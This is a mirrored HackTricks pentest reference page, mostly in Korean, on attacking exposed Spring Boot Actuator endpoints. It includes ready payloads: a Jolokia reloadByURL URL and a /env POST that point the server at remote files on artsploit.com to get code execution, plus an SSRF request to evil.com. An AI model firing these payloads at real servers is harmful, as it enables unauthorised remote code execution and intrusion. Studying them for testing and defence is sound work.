mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
65 lines
3.6 KiB
Markdown
65 lines
3.6 KiB
Markdown
# Spring Actuators
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## **Spring Auth Bypass**
|
|
|
|
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
|
|
|
## Exploiting Spring Boot Actuators
|
|
|
|
**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
|
|
|
### **Key Points:**
|
|
|
|
- Spring Boot Actuators는 `/health`, `/trace`, `/beans`, `/env` 등의 엔드포인트를 등록합니다. 1부터 1.4 버전까지는 이러한 엔드포인트에 인증 없이 접근할 수 있습니다. 1.5 버전부터는 기본적으로 `/health`와 `/info`만 비민감하지만, 개발자들이 종종 이 보안을 비활성화합니다.
|
|
- 특정 Actuator 엔드포인트는 민감한 데이터를 노출하거나 해로운 작업을 허용할 수 있습니다:
|
|
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, 및 `/heapdump`.
|
|
- Spring Boot 1.x에서는 액추에이터가 루트 URL 아래에 등록되지만, 2.x에서는 `/actuator/` 기본 경로 아래에 있습니다.
|
|
|
|
### **Exploitation Techniques:**
|
|
|
|
1. **Remote Code Execution via '/jolokia'**:
|
|
- `/jolokia` 액추에이터 엔드포인트는 Jolokia 라이브러리를 노출하여 MBeans에 대한 HTTP 접근을 허용합니다.
|
|
- `reloadByURL` 작업은 외부 URL에서 로깅 구성을 다시 로드하도록 악용될 수 있으며, 이는 블라인드 XXE 또는 조작된 XML 구성을 통한 원격 코드 실행으로 이어질 수 있습니다.
|
|
- 예시 악용 URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
|
2. **Config Modification via '/env'**:
|
|
|
|
- Spring Cloud Libraries가 존재하는 경우, `/env` 엔드포인트는 환경 속성을 수정할 수 있습니다.
|
|
- 속성은 Eureka serviceURL의 XStream 역직렬화 취약점을 악용하기 위해 조작될 수 있습니다.
|
|
- 예시 악용 POST 요청:
|
|
|
|
```
|
|
POST /env HTTP/1.1
|
|
Host: 127.0.0.1:8090
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 65
|
|
|
|
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
|
```
|
|
|
|
3. **Other Useful Settings**:
|
|
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, 및 `spring.datasource.tomcat.max-active`와 같은 속성은 SQL 인젝션 또는 데이터베이스 연결 문자열 변경과 같은 다양한 악용을 위해 조작될 수 있습니다.
|
|
|
|
### **Additional Information:**
|
|
|
|
- 기본 액추에이터의 포괄적인 목록은 [여기](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)에서 확인할 수 있습니다.
|
|
- Spring Boot 2.x의 `/env` 엔드포인트는 속성 수정을 위해 JSON 형식을 사용하지만, 일반적인 개념은 동일하게 유지됩니다.
|
|
|
|
### **Related Topics:**
|
|
|
|
1. **Env + H2 RCE**:
|
|
- `/env` 엔드포인트와 H2 데이터베이스의 조합을 악용하는 방법에 대한 자세한 내용은 [여기](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)에서 확인할 수 있습니다.
|
|
|
|
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
|
- Spring 프레임워크의 HTTP 경로 이름에서 행렬 매개변수(`;`) 처리는 서버 측 요청 위조(SSRF)를 악용할 수 있습니다.
|
|
- 예시 악용 요청:
|
|
```http
|
|
GET ;@evil.com/url HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|